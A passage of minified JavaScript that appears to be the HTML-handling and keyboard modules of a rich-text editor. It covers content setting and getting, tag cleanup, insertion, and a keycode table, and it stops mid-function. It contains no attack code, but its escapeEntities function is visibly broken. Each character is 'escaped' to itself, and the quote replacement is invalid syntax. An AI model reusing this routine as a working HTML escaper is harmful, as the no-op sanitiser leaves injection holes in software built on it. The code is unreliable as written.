I.opts.enter===kt.ENTER_P?"p":I.opts.enter===kt.ENTER_DIV?"div":I.opts.enter===kt.ENTER_BR?null:void 0}function s(e,t){return!(!e||e===I.el)&&(t?-1!=["PRE","SCRIPT","STYLE"].indexOf(e.tagName)||s(e.parentNode,t):-1!==["PRE","SCRIPT","STYLE"].indexOf(e.tagName))}function o(e){var t,n=[],r=[];if(e){var a=I.el.querySelectorAll(".fr-marker");for(t=0;t<a.length;t++){var o=I.node.blockParent(a[t])||a[t];if(o){var i=o.nextSibling,s=o.previousSibling;o&&r.indexOf(o)<0&&I.node.isBlock(o)&&r.push(o),s&&I.node.isBlock(s)&&r.indexOf(s)<0&&r.push(s),i&&I.node.isBlock(i)&&r.indexOf(i)<0&&r.push(i)}}}else r=I.el.querySelectorAll(p());var l=p();for(l+=",".concat(kt.VOID_ELEMENTS.join(",")),l+=", .fr-inner",l+=",".concat(I.opts.htmlAllowedEmptyTags.join(":not(.fr-marker),"),":not(.fr-marker)"),t=r.length-1;0<=t;t--)if(!(r[t].textContent&&0<r[t].textContent.replace(/\u200B|\n/g,"").length||0<r[t].querySelectorAll(l).length)){for(var c=I.node.contents(r[t]),d=!1,f=0;f<c.length;f++)if(c[f].nodeType!==Node.COMMENT_NODE&&c[f].textContent&&0<c[f].textContent.replace(/\u200B|\n/g,"").length){d=!0;break}d||n.push(r[t])}return n}function p(){return kt.BLOCK_TAGS.join(", ")}function e(e){var t,n,r=D.merge([],kt.VOID_ELEMENTS);r=D.merge(r,I.opts.htmlAllowedEmptyTags),r=void 0===e?D.merge(r,kt.BLOCK_TAGS):D.merge(r,kt.NO_DELETE_TAGS),t=I.el.querySelectorAll("*:empty:not(".concat(r.join("):not("),"):not(.fr-marker):not(template)"));do{n=!1;for(var a=0;a<t.length;a++)0!==t[a].attributes.length&&void 0===t[a].getAttribute("href")||(t[a].parentNode.removeChild(t[a]),n=!0);(t=I.el.querySelectorAll("*:empty:not(".concat(r.join("):not("),"):not(.fr-marker):not(template)"))).length||(t=I.el.querySelectorAll("a[href]:not([name]):empty"))}while(t.length&&n)}function i(e,t){var n=d();if(t&&(n="div"),n){for(var r=I.doc.createDocumentFragment(),a=null,o=!1,i=e.firstChild,s=!1;i;){var l=i.nextSibling;if(i.nodeType===Node.ELEMENT_NODE&&(I.node.isBlock(i)||0<=I.opts.htmlDoNotWrapTags.indexOf(i.tagName.toLowerCase())&&!I.node.hasClass(i,"fr-marker")))a=null,r.appendChild(i.cloneNode(!0));else if(i.nodeType!==Node.ELEMENT_NODE&&i.nodeType!==Node.TEXT_NODE)a=null,r.appendChild(i.cloneNode(!0));else if("BR"===i.tagName)null===a?(a=I.doc.createElement(n),s=!0,t&&(a.setAttribute("class","fr-temp-div"),a.setAttribute("data-empty",!0)),a.appendChild(i.cloneNode(!0)),i&&i.parentNode&&["TD","TH"].indexOf(i.parentNode.tagName)<0&&r.appendChild(a)):!1===o&&(a.appendChild(I.doc.createElement("br")),t&&(a.setAttribute("class","fr-temp-div"),a.setAttribute("data-empty",!0))),a=null;else{var c=i.textContent;if(i.nodeType!==Node.TEXT_NODE||0<c.replace(/\n/g,"").replace(/(^ *)|( *$)/g,"").length||c.replace(/(^ *)|( *$)/g,"").length&&c.indexOf("\n")<0){if("SPAN"===i.tagName&&D(i).hasClass("fr-marker")&&!i.previousSibling&&(i.nextSibling&&"TABLE"==i.nextSibling.tagName||i.nextSibling&&i.nextSibling.nextSibling&&"TABLE"==i.nextSibling.nextSibling.tagName)){r.appendChild(i),i=l;continue}if("SPAN"===i.tagName&&D(i).hasClass("fr-marker")&&i.previousSibling&&i.previousSibling.nodeType===Node.ELEMENT_NODE&&(i.nextSibling&&"TABLE"==i.nextSibling.tagName||i.nextSibling&&i.nextSibling.nextSibling&&"TABLE"==i.nextSibling.nextSibling.tagName)){r.appendChild(i),s=!0,i=l;continue}null===a&&(a=I.doc.createElement(n),s=!0,t&&a.setAttribute("class","fr-temp-div"),r.appendChild(a),o=!1),a.appendChild(i.cloneNode(!0)),o||I.node.hasClass(i,"fr-marker")||i.nodeType===Node.TEXT_NODE&&0===c.replace(/ /g,"").length||(o=!0)}else s=!0}i=l}s&&(e.innerHTML="",e.appendChild(r))}}function l(e,t){for(var n=e.length-1;0<=n;n--)i(e[n],t)}function t(e,t,n,r,a){if(!I.$wp)return!1;void 0===e&&(e=!1),void 0===t&&(t=!1),void 0===n&&(n=!1),void 0===r&&(r=!1),void 0===a&&(a=!1);var o=I.$wp.scrollTop();i(I.el,e),r&&l(I.el.querySelectorAll(".fr-inner"),e),t&&l(I.el.querySelectorAll("td, th"),e),n&&l(I.el.querySelectorAll("blockquote"),e),a&&l(I.el.querySelectorAll("li"),e),o!==I.$wp.scrollTop()&&I.$wp.scrollTop(o)}function n(e){if(void 0===e&&(e=I.el),e&&0<=["SCRIPT","STYLE","PRE"].indexOf(e.tagName))return!1;for(var t=I.doc.createTreeWalker(e,NodeFilter.SHOW_TEXT,I.node.filter(function(e){return null!==e.textContent.match(/([ \n]{2,})|(^[ \n]{1,})|([ \n]{1,}$)/g)}),!1);t.nextNode();){var n=t.currentNode;if(!s(n.parentNode,!0)){var r=I.node.isBlock(n.parentNode)||I.node.isElement(n.parentNode),a=void 0;if(a=I.opts.preserveTabSpaces?n.textContent.replace(/\n/g," ").replace(/^[ ]{2,}/g," ").replace(/[ ]{2,}$/g," "):n.textContent.replace(/(?!^)( ){2,}(?!$)/g," ").replace(/\n/g," ").replace(/^[ ]{2,}/g," ").replace(/[ ]{2,}$/g," "),r){var o=n.previousSibling,i=n.nextSibling;o&&i&&" "===a?a=I.node.isBlock(o)&&I.node.isBlock(i)?"":" ":(o||(a=a.replace(/^ */,"")),i||(a=a.replace(/ *$/,"")))}n.textContent=a}}}function r(e,t,n){var r=new RegExp(t,"gi").exec(e);return r?r[n]:null}function B(e){var t=e.doctype,n="<!DOCTYPE html>";return t&&(n="<!DOCTYPE ".concat(t.name).concat(t.publicId?' PUBLIC "'.concat(t.publicId,'"'):"").concat(!t.publicId&&t.systemId?" SYSTEM":"").concat(t.systemId?' "'.concat(t.systemId,'"'):"",">")),n}function c(e){var t=e.parentNode;if(t&&(I.node.isBlock(t)||I.node.isElement(t))&&["TD","TH"].indexOf(t.tagName)<0){for(var n=e.previousSibling,r=e.nextSibling;n&&(n.nodeType===Node.TEXT_NODE&&0===n.textContent.replace(/\n|\r/g,"").length||I.node.hasClass(n,"fr-tmp"));)n=n.previousSibling;if(r)return!1;n&&t&&"BR"!==n.tagName&&!I.node.isBlock(n)&&!r&&0<t.textContent.replace(/\u200B/g,"").length&&0<n.textContent.length&&!I.node.hasClass(n,"fr-marker")&&(I.el===t&&!r&&I.opts.enter===kt.ENTER_BR&&I.browser.msie||e.parentNode.removeChild(e))}else!t||I.node.isBlock(t)||I.node.isElement(t)||e.previousSibling||e.nextSibling||!I.node.isDeletable(e.parentNode)||c(e.parentNode)}function C(){I.opts.htmlUntouched||(e(),t(),n(),I.spaces.normalize(null,!0),I.html.fillEmptyBlocks(),I.clean.lists(),I.clean.tables(),I.clean.toHTML5(),I.html.cleanBRs()),I.selection.restore(),a(),I.placeholder.refresh()}function a(){I.node.isEmpty(I.el)&&(null!==d()?I.el.querySelector(p())||I.el.querySelector("".concat(I.opts.htmlDoNotWrapTags.join(":not(.fr-marker),"),":not(.fr-marker)"))||(I.core.hasFocus()?(I.$el.html("<".concat(d(),">").concat(kt.MARKERS,"<br/></").concat(d(),">")),I.selection.restore()):I.$el.html("<".concat(d(),"><br/></").concat(d(),">"))):I.el.querySelector("*:not(.fr-marker):not(br)")||(I.core.hasFocus()?(I.$el.html("".concat(kt.MARKERS,"<br/>")),I.selection.restore()):I.$el.html("<br/>")))}function E(e,t){return r(e,"<".concat(t,"[^>]*?>([\\w\\W]*)</").concat(t,">"),1)}function y(e,t){var n=D("<div ".concat(r(e,"<".concat(t,"([^>]*?)>"),1)||"",">"));return I.node.rawAttributes(n.get(0))}function L(e){return(r(e,"<!DOCTYPE([^>]*?)>",0)||"<!DOCTYPE html>").replace(/\n/g," ").replace(/ {2,}/g," ")}function T(e,t){I.opts.htmlExecuteScripts?e.html(t):e.get(0).innerHTML=t}function F(e){var t;(t=/:not\(([^)]*)\)/g).test(e)&&(e=e.replace(t," $1 "));var n=100*(e.match(/(#[^\s+>~.[:]+)/g)||[]).length+10*(e.match(/(\[[^]]+\])/g)||[]).length+10*(e.match(/(\.[^\s+>~.[:]+)/g)||[]).length+10*(e.match(/(:[\w-]+\([^)]*\))/gi)||[]).length+10*(e.match(/(:[^\s+>~.[:]+)/g)||[]).length+(e.match(/(::[^\s+>~.[:]+|:first-line|:first-letter|:before|:after)/gi)||[]).length;return n+=((e=(e=e.replace(/[*\s+>~]/g," ")).replace(/[#.]/g," ")).match(/([^\s+>~.[:]+)/g)||[]).length}function P(e){if(I.events.trigger("html.processGet",[e]),e&&e.getAttribute&&""===e.getAttribute("class")&&e.removeAttribute("class"),e&&e.getAttribute&&""===e.getAttribute("style")&&e.removeAttribute("style"),e&&e.nodeType===Node.ELEMENT_NODE){var t,n=e.querySelectorAll('[class=""],[style=""]');for(t=0;t<n.length;t++){var r=n[t];""===r.getAttribute("class")&&r.removeAttribute("class"),""===r.getAttribute("style")&&r.removeAttribute("style")}if("BR"===e.tagName)c(e);else{var a=e.querySelectorAll("br");for(t=0;t<a.length;t++)c(a[t])}}}function $(e,t){return e[3]-t[3]}function H(){for(var e=I.el.querySelectorAll("input, textarea"),t=0;t<e.length;t++)"checkbox"!==e[t].type&&"radio"!==e[t].type||(e[t].checked?e[t].setAttribute("checked",e[t].checked):I.$(e[t]).removeAttr("checked")),e[t].getAttribute("value")&&e[t].setAttribute("value",e[t].value)}function f(e){var t=I.doc.createElement("div");return t.innerHTML=e,null!==t.querySelector(p())}function u(e){var t=null;if(void 0===e&&(t=I.selection.element()),I.opts.keepFormatOnDelete)return!1;var n,r,a=t?(t.textContent.match(/\u200B/g)||[]).length-t.querySelectorAll(".fr-marker").length:0;if((I.el.textContent.match(/\u200B/g)||[]).length-I.el.querySelectorAll(".fr-marker").length===a)return!1;do{r=!1,n=I.el.querySelectorAll("*:not(.fr-marker)");for(var o=0;o<n.length;o++){var i=n[o];if(t!==i){var s=i.textContent;0===i.children.length&&1===s.length&&8203===s.charCodeAt(0)&&["TD","STRONG","SPAN","EM","U","S","SUB","SUP"].indexOf(i.tagName)<0&&(D(i).remove(),r=!0)}}}while(r)}function h(){u(),I.placeholder&&setTimeout(I.placeholder.refresh,0)}return{defaultTag:d,isPreformatted:s,emptyBlocks:o,emptyBlockTagsQuery:function g(){return"".concat(kt.BLOCK_TAGS.join(":empty, "),":empty")},blockTagsQuery:p,fillEmptyBlocks:function m(e){var t=o(e);I.node.isEmpty(I.el)&&I.opts.enter===kt.ENTER_BR&&t.push(I.el);for(var n=0;n<t.length;n++){var r=t[n];"false"===r.getAttribute("contenteditable")||r.querySelector("".concat(I.opts.htmlAllowedEmptyTags.join(":not(.fr-marker),"),":not(.fr-marker)"))||I.node.isVoid(r)||"TABLE"===r.tagName||"TBODY"===r.tagName||"TR"===r.tagName||"UL"===r.tagName||"OL"===r.tagName||r.querySelector("br")||r.appendChild(I.doc.createElement("br"))}if(I.browser.msie&&I.opts.enter===kt.ENTER_BR){var a=I.node.contents(I.el);a.length&&a[a.length-1].nodeType===Node.TEXT_NODE&&I.$el.append("<br>")}},cleanEmptyTags:e,cleanWhiteTags:u,cleanBlankSpaces:n,blocks:function v(){return I.$el.get(0).querySelectorAll(p())},getDoctype:B,set:function w(e){var t=I.clean.html((e||"").trim(),[],[],I.opts.fullPage);if(I.opts.useClasses){var n=D("<div>").html(t)[0],r=I.opts.fontFamilyDefaultSelection&&"Font Family"!=I.opts.fontFamilyDefaultSelection?I.opts.fontFamilyDefaultSelection:"",a=I.opts.fontSizeDefaultSelection&&I.opts.fontSizeUnit&&"Font Size"!=I.opts.fontSizeDefaultSelection?("pt"===I.opts.fontSizeUnit?Math.round(72*parseFloat(I.opts.fontSizeDefaultSelection,10)/96):I.opts.fontSizeDefaultSelection)+I.opts.fontSizeUnit:"";if(1===n.children.length&&"DIV"===n.children[0].tagName&&(a||r)){var o=n.children[0].style,i=r&&a?2:r||a?1:0;o.length==i&&r==o.fontFamily&&a==o.fontSize&&(t=n.children[0].innerHTML)}}var s=new RegExp("%3A//","g"),l=t.replace(s,"://");if(I.opts.fullPage){var c=E(l,"body")||(0<=l.indexOf("<body")?"":l),d=y(l,"body"),f=E(l,"head")||"<title></title>",p=y(l,"head"),u=D("<div>");u.append(f).contents().each(function(){(this.nodeType===Node.COMMENT_NODE||0<=["BASE","LINK","META","NOSCRIPT","SCRIPT","STYLE","TEMPLATE","TITLE"].indexOf(this.tagName))&&this.parentNode.removeChild(this)});var h=u.html().trim();f=D("<div>").append(f).contents().map(function(){return this.nodeType===Node.COMMENT_NODE?"\x3c!--".concat(this.nodeValue,"--\x3e"):0<=["BASE","LINK","META","NOSCRIPT","SCRIPT","STYLE","TEMPLATE","TITLE"].indexOf(this.tagName)?this.outerHTML:""}).toArray().join("");var g=L(l),m=y(l,"html");T(I.$el,"".concat(h,"\n").concat(c)),I.node.clearAttributes(I.el),I.$el.attr(d),I.$el.addClass("fr-view"),I.$el.attr("spellcheck",I.opts.spellcheck),I.$el.attr("dir",I.opts.direction),T(I.$head,f),I.node.clearAttributes(I.$head.get(0)),I.$head.attr(p),I.node.clearAttributes(I.$html.get(0)),I.$html.attr(m),I.iframe_document.doctype.parentNode.replaceChild(function b(e,t){var n=e.match(/<!DOCTYPE ?([^ ]*) ?([^ ]*) ?"?([^"]*)"? ?"?([^"]*)"?>/i);return n?t.implementation.createDocumentType(n[1],n[3],n[4]):t.implementation.createDocumentType("html")}(g,I.iframe_document),I.iframe_document.doctype)}else T(I.$el,l);var v=I.edit.isDisabled();I.edit.on(),I.core.injectStyle(I.opts.iframeDefaultStyle+I.opts.iframeStyle),C(),I.opts.useClasses||(I.$el.find("[fr-original-class]").each(function(){this.setAttribute("class",this.getAttribute("fr-original-class")),this.removeAttribute("fr-original-class")}),I.$el.find("[fr-original-style]").each(function(){this.setAttribute("style",this.getAttribute("fr-original-style")),this.removeAttribute("fr-original-style")})),v&&I.edit.off(),I.events.trigger("html.set"),I.events.trigger("charCounter.update"),I.events.trigger("wordCounter.update")},syncInputs:H,get:function U(e,t){if(!I.$wp)return I.$oel.clone().removeClass("fr-view").removeAttr("contenteditable").get(0).outerHTML;var n="";I.events.trigger("html.beforeGet");var r,a,o=[],i={},s=[];if(H(),!I.opts.useClasses&&!t){var l=new RegExp("^".concat(I.opts.htmlIgnoreCSSProperties.join("$|^"),"$"),"gi");for(r=0;r<I.doc.styleSheets.length;r++){var c=void 0,d=0;try{c=I.doc.styleSheets[r].cssRules,I.doc.styleSheets[r].ownerNode&&"STYLE"===I.doc.styleSheets[r].ownerNode.nodeType&&(d=1)}catch(O){}if(c)for(var f=0,p=c.length;f<p;f++)if(c[f].selectorText&&0<c[f].style.cssText.length){var u=c[f].selectorText.replace(/body \s tbody \.fr-view /g,"").replace(/::/g,":"),h=void 0;try{h=I.el.querySelectorAll(u)}catch(O){h=[]}for(a=0;a<h.length;a++){!h[a].getAttribute("fr-original-style")&&h[a].getAttribute("style")?(h[a].setAttribute("fr-original-style",h[a].getAttribute("style")),o.push(h[a])):h[a].getAttribute("fr-original-style")||(h[a].setAttribute("fr-original-style",""),o.push(h[a])),i[h[a]]||(i[h[a]]={});for(var g=1e3*d+F(c[f].selectorText),m=c[f].style.cssText.split(";"),v=0;v<m.length;v++){var b=m[v].trim().split(":")[0];if(b&&!b.match(l)&&((!i[h[a]][b]||i[h[a]][b]&&""==h[a].getAttribute("fr-original-style"))&&(i[h[a]][b]=0)<=(h[a].getAttribute("fr-original-style")||"").indexOf("".concat(b,":"))&&(i[h[a]][b]=1e4),g>=i[h[a]][b]&&(i[h[a]][b]=g,m[v].trim().length))){var C=m[v].trim().split(":");C.splice(0,1);var E=C.join(":").trim();-1<E.indexOf("!important")&&(g+=1),s.push([h[a],b.trim(),E,g])}}}}}for(s.sort($),r=0;r<s.length;r++){var y=s[r];y[0].style[y[1]]=y[2].replace(/!important/,"")}for(r=0;r<o.length;r++)if(o[r].getAttribute("class")&&(o[r].setAttribute("fr-original-class",o[r].getAttribute("class")),o[r].removeAttribute("class")),0<(o[r].getAttribute("fr-original-style")||"").trim().length){var L=o[r].getAttribute("fr-original-style").split(";");for(a=0;a<L.length;a++)if(0<L[a].indexOf(":")){var T=L[a].split(":"),w=T[0];T.splice(0,1),o[r].style[w.trim()]=T.join(":").trim()}}}if(I.node.isEmpty(I.el))I.opts.fullPage&&(n=B(I.iframe_document),n+="<html".concat(I.node.attributes(I.$html.get(0)),">").concat(I.$html.find("head").get(0).outerHTML,"<body></body></html>"));else if(void 0===e&&(e=!1),I.opts.fullPage){n=B(I.iframe_document),I.$el.removeClass("fr-view");var A=I.opts.heightMin,_=I.opts.height,S=I.opts.heightMax;I.opts.heightMin=null,I.opts.height=null,I.opts.heightMax=null,I.size.refresh(),n+="<html".concat(I.node.attributes(I.$html.get(0)),">").concat(I.$html.html(),"</html>"),I.opts.iframe&&I.$html&&0<I.$html.find(".fr-element").length&&(n=I.$html.find(".fr-element").html()),I.opts.heightMin=A,I.opts.height=_,I.opts.heightMax=S,I.size.refresh(),I.$el.addClass("fr-view")}else n=I.$el.html(),I.opts.iframe&&I.$html&&0<I.$html.find(".fr-element").length&&(n=I.$html.find(".fr-element").html());if(!I.opts.useClasses&&!t)for(r=0;r<o.length;r++)o[r].getAttribute("fr-original-class")&&(o[r].setAttribute("class",o[r].getAttribute("fr-original-class")),o[r].removeAttribute("fr-original-class")),null!==o[r].getAttribute("fr-original-style")&&void 0!==o[r].getAttribute("fr-original-style")?(0!==o[r].getAttribute("fr-original-style").length?o[r].setAttribute("style",o[r].getAttribute("fr-original-style")):o[r].removeAttribute("style"),o[r].removeAttribute("fr-original-style")):o[r].removeAttribute("style");I.opts.fullPage&&(n=(n=(n=(n=(n=(n=(n=(n=n.replace(/<style data-fr-style="true">(?:[\w\W]*?)<\/style>/g,"")).replace(/<link([^>]*)data-fr-style="true"([^>]*)>/g,"")).replace(/<style(?:[\w\W]*?)class="firebugResetStyles"(?:[\w\W]*?)>(?:[\w\W]*?)<\/style>/g,"")).replace(/<body((?:[\w\W]*?)) spellcheck="true"((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,"<body$1$2>$3</body>")).replace(/<body((?:[\w\W]*?)) contenteditable="(true|false)"((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,"<body$1$3>$4</body>")).replace(/<body((?:[\w\W]*?)) dir="([\w]*)"((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,"<body$1$3>$4</body>")).replace(/<body((?:[\w\W]*?))class="([\w\W]*?)(fr-rtl|fr-ltr)([\w\W]*?)"((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,'<body$1class="$2$4"$5>$6</body>')).replace(/<body((?:[\w\W]*?)) class=""((?:[\w\W]*?))>((?:[\w\W]*?))<\/body>/g,"<body$1$2>$3</body>")),I.opts.htmlSimpleAmpersand&&(n=n.replace(/&/gi,"&")),I.events.trigger("html.afterGet"),e||(n=n.replace(/<span[^>]*? class\s*=\s*["']?fr-marker["']?[^>]+>\u200b<\/span>/gi,"")),n=I.clean.invisibleSpaces(n),n=I.clean.exec(n,P);var k=I.events.chainTrigger("html.get",n);"string"==typeof k&&(n=k),n=(n=n.replace(/<pre(?:[\w\W]*?)>(?:[\w\W]*?)<\/pre>/g,function(e){return e.replace(/<br>/g,"\n")})).replace(/<meta((?:[\w\W]*?)) data-fr-http-equiv="/g,'<meta$1 http-equiv="');var x=I.opts.fontSizeDefaultSelection&&I.opts.fontSizeUnit&&"Font Size"!=I.opts.fontSizeDefaultSelection,R=I.opts.fontFamilyDefaultSelection&&"Font Family"!=I.opts.fontFamilyDefaultSelection;if(I.opts.useClasses&&!t&&(x||R)){var N=D(document.createElement("div"));if(x){var M="pt"===I.opts.fontSizeUnit?Math.round(72*parseFloat(I.opts.fontSizeDefaultSelection,10)/96):I.opts.fontSizeDefaultSelection;N.css("font-size",M+I.opts.fontSizeUnit)}R&&N.css("font-family",I.opts.fontFamilyDefaultSelection),N[0].innerHTML=n,n=N[0].outerHTML}return n},getSelected:function b(){function e(e,t){for(;t&&(t.nodeType===Node.TEXT_NODE||!I.node.isBlock(t))&&!I.node.isElement(t)&&!I.node.hasClass(t,"fr-inner")&&(I.opts.enter!==kt.ENTER_BR||t!==I.$el[0]);)t&&t.nodeType!==Node.TEXT_NODE&&D(e).wrapContent(t),t=t.parentNode;t&&e.innerHTML===t.innerHTML?e.innerHTML=t.outerHTML:t&&"DIV"!==t.tagName&&"LI"!==t.tagName&&t.innerText&&-1!=t.innerText.indexOf(e.innerHTML)&&t!==I.$el.get(0)&&(e.innerHTML=I.node.openTagString(t)+e.innerHTML+I.node.closeTagString(t))}var t,n,r="";if("undefined"!=typeof I.win.getSelection){I.browser.mozilla&&(I.selection.save(),1<I.$el.find('.fr-marker[data-type="false"]').length&&(I.$el.find('.fr-marker[data-type="false"][data-id="0"]').remove(),I.$el.find('.fr-marker[data-type="false"]:last').attr("data-id","0"),I.$el.find(".fr-marker").not('[data-id="0"]').remove()),I.selection.restore());for(var a=I.selection.ranges(),o=0;o<a.length;o++){var i=document.createElement("div");i.appendChild(a[o].cloneContents()),e(i,(n=t=void 0,n=null,I.win.getSelection?(t=I.win.getSelection())&&t.rangeCount&&((n=t.getRangeAt(0).commonAncestorContainer).nodeType===Node.ELEMENT_NODE||I.opts.enter===kt.ENTER_BR&&n.parentNode===I.$el[0]||(n=n.parentNode)):(t=I.doc.selection)&&"Control"!==t.type&&(n=t.createRange().parentElement()),null!==n&&(0<=D(n).parents().toArray().indexOf(I.el)||n===I.el)?n:null)),0<D(i).find(".fr-element").length&&(i=I.el),r+=i.innerHTML}}else"undefined"!=typeof I.doc.selection&&"Text"===I.doc.selection.type&&(r=I.doc.selection.createRange().htmlText);return r},insert:function A(e,t,n){if(!1===I.events.trigger("html.beforeInsert",[e,t,n]))return!1;var r;if(I.selection.isCollapsed()||I.selection.remove(),r=t?e:I.clean.html(e),0===e.indexOf('<i class="fa ')&&(r="<span> ".concat(r,"</span>")),e.indexOf('class="fr-marker"')<0&&(r=function s(e){var t=I.doc.createElement("div");return t.innerHTML=e,I.selection.setAtEnd(t,!0),t.innerHTML}(r)),I.node.isEmpty(I.el)&&!I.opts.keepFormatOnDelete&&f(r))I.opts.trackChangesEnabled?I.track_changes.pasteInEmptyEdior(r):I.el.innerHTML=r;else{(function l(){var e=I.selection.ranges(0).commonAncestorContainer;return e!==I.el&&!I.$el.contains(e)})()&&I.selection.restore();var a=I.markers.insert();if(a)if(I.opts.trackChangesEnabled)I.track_changes.pasteInEdior(r);else{I.node.isLastSibling(a)&&D(a).parent().hasClass("fr-deletable")&&D(a).insertAfter(D(a).parent());var o=I.node.blockParent(a);if((f(r)||n)&&(I.node.deepestParent(a)||o&&"LI"===o.tagName)){o&&"LI"===o.tagName&&(r=function c(e){if(!I.html.defaultTag())return e;var t=I.doc.createElement("div");t.innerHTML=e;for(var n=t.querySelectorAll(":scope > ".concat(I.html.defaultTag())),r=n.length-1;0<=r;r--){var a=n[r];I.node.isBlock(a.previousSibling)||(a.previousSibling&&!I.node.isEmpty(a)&&D("<br>").insertAfter(a.previousSibling),a.outerHTML=a.innerHTML)}return t.innerHTML}(r));var i=I.selection.element();if(i&&D(i).parentsUntil(I.el,"ul, ol").length&&"LI"!=a.parentNode.tagName&&("DIV"==D(r).get(0).tagName&&1==D(r).length&&"UL"==D(r).get(0).firstChild.tagName?r=D(r).get(0).firstChild.innerHTML:"UL"==D(r).get(0).tagName&&(r=D(r).get(0).innerHTML),a=I.markers.split()),!(a=I.markers.split()))return!1;a.outerHTML=r}else a.outerHTML=r}else I.el.innerHTML+=r}C(),I.keys.positionCaret(),I.events.trigger("html.inserted")},wrap:t,unwrap:function _(){I.$el.find("div.fr-temp-div").each(function(){this.previousSibling&&this.previousSibling.nodeType===Node.TEXT_NODE&&D(this).before("<br>"),D(this).attr("data-empty")||!this.nextSibling||I.node.isBlock(this.nextSibling)&&!D(this.nextSibling).hasClass("fr-temp-div")?D(this).replaceWith(D(this).html()):D(this).replaceWith("".concat(D(this).html(),"<br>"))}),I.$el.find(".fr-temp-div").removeClass("fr-temp-div").filter(function(){return""===D(this).attr("class")}).removeAttr("class")},escapeEntities:function S(e){return e.replace(/</gi,"<").replace(/>/gi,">").replace(/"/gi,""").replace(/'/gi,"'")},checkIfEmpty:a,extractNode:E,extractNodeAttrs:y,extractDoctype:L,cleanBRs:function k(){for(var e=I.el.getElementsByTagName("br"),t=0;t<e.length;t++)c(e[t])},_init:function x(){I.events.$on(I.$el,"mousemove","span.fr-word-select",function(e){var t=window.getSelection();t=window.getSelection();var n=document.createRange();n.selectNodeContents(e.target),t.removeAllRanges(),t.addRange(n)}),I.$wp&&(I.events.on("mouseup",h),I.events.on("keydown",h),I.events.on("contentChanged",a))},_setHtml:T}},kt.ENTER_P=0,kt.ENTER_DIV=1,kt.ENTER_BR=2,kt.KEYCODE={BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,ARROW_LEFT:37,ARROW_UP:38,ARROW_RIGHT:39,ARROW_DOWN:40,DELETE:46,ZERO:48,ONE:49,TWO:50,THREE:51,FOUR:52,FIVE:53,SIX:54,SEVEN:55,EIGHT:56,NINE:57,FF_SEMICOLON:59,FF_EQUALS:61,QUESTION_MARK:63,A:65,B:66,C:67,D:68,E:69,F:70,G:71,H:72,I:73,J:74,K:75,L:76,M:77,N:78,O:79,P:80,Q:81,R:82,S:83,T:84,U:85,V:86,W:87,X:88,Y:89,Z:90,META:91,NUM_ZERO:96,NUM_ONE:97,NUM_TWO:98,NUM_THREE:99,NUM_FOUR:100,NUM_FIVE:101,NUM_SIX:102,NUM_SEVEN:103,NUM_EIGHT:104,NUM_NINE:105,NUM_MULTIPLY:106,NUM_PLUS:107,NUM_MINUS:109,NUM_PERIOD:110,NUM_DIVISION:111,F1:112,F2:113,F3:114,F4:115,F5:116,F6:117,F7:118,F8:119,F9:120,F10:121,F11:122,F12:123,FF_HYPHEN:173,SEMICOLON:186,DASH:189,EQUALS:187,COMMA:188,HYPHEN:189,PERIOD:190,SLASH:191,APOSTROPHE:192,TILDE:192,SINGLE_QUOTE:222,OPEN_SQUARE_BRACKET:219,BACKSLASH:220,CLOSE_SQUARE_BRACKET:221,IME:229},Object.assign(kt.DEFAULTS,{enter:kt.ENTER_P,multiLine:!0,tabSpaces:0}),kt.MODULES.keys=function(m){var v,n,r,s=m.$,b=!1;function C(e){if(m.selection.isCollapsed())if(["INPUT","BUTTON","TEXTAREA"].indexOf(e.target&&e.target.tagName)<0&&m.cursor.backspace(),m.helpers.isIOS()){var t=m.selection.ranges(0);t.deleteContents(),t.insertNode(document.createTextNode("\u200b")),m.selection.get().modify("move","forward","character")}else["INPUT","BUTTON","TEXTAREA"].indexOf(e.target&&e.target.tagName)<0&&e.preventDefault(),e.stopPropagation();else e.preventDefault(),e.stopPropagation(),m.selection.remove();m.placeholder.refresh()}function E(e){["INPUT","BUTTON","TEXTAREA"].indexOf(e.target&&e.target.tagName)<0&&e.preventDefault(),e.stopPropagation(),""!==m.selection.text()||m.selection.element().hasAttribute("contenteditable")&&"false"===m.selection.element().getAttribute("contenteditable")||!m.selection.isCollapsed()&&"IMG"==m.selection.element().tagName?m.selection.remove():m.cursor.del(),m.placeholder.refresh()}function e(){if(m.browser.mozilla&&m.selection.isCollapsed()&&!b){var e=m.selection.ranges(0),t=e.startContainer,n=e.startOffset;t&&t.nodeType===Node.TEXT_NODE&&n<=t.textContent.length&&0<n&&32===t.textContent.charCodeAt(n-1)&&(m.selection.save(),m.spaces.normalize(),m.selection.restore())}}function t(){m.selection.isFull()&&setTimeout(function(){var e=m.html.defaultTag();e?m.$el.html("<".concat(e,">").concat(kt.MARKERS,"<br/></").concat(e,">")):m.$el.html("".concat(kt.MARKERS,"<br/>")),m.selection.restore(),m.placeholder.refresh(),m.button.bulkRefresh(),m.undo.saveStep()},0)}function a(){b=!1}function o(){b=!1}function y(){var e=m.html.defaultTag();e?m.$el.html("<".concat(e,">").concat(kt.MARKERS,"<br/></").concat(e,">")):m.$el.html("".concat(kt.MARKERS,"<br/>")),m.selection.restore()}function L(e,t){var n=(e&&e.parentElement).parentElement;if(e.parentElement&&(-1<e.innerHTML.indexOf("<span")||-1<e.parentElement.innerHTML.indexOf("<span")||n&&-1<e.parentElement.parentElement.innerHTML.indexOf("<span"))&&(e.classList.contains("fr-img-space-wrap")||e.parentElement.classList.contains("fr-img-space-wrap")||n&&e.parentElement.parentElement.classList.contains("fr-img-space-wrap"))){if(s(e.parentElement).is("p")){var r=e.parentElement.innerHTML;return(r=r.replace(/<br>/g,"")).length<1?e.parentElement.insertAdjacentHTML("afterbegin"," "):" "!=r&&" "!=r&&"Backspace"==t.key?C(t):" "!=r&&" "!=r&&"Delete"==t.key&&E(t),!0}if(s(e).is("p")){var a=e.innerHTML.replace(/<br>/g,"");return a.length<1?e.insertAdjacentHTML("afterbegin"," "):" "!=a&&" "!=a&&"Backspace"==t.key?C(t):" "!=a&&" "!=a&&"Delete"==t.key&&E(t),!0}}return!1}function i(e){var t=m.selection.element();if(t&&0<=["INPUT","TEXTAREA"].indexOf(t.tagName))return!0;if(e&&A(e.which)){var 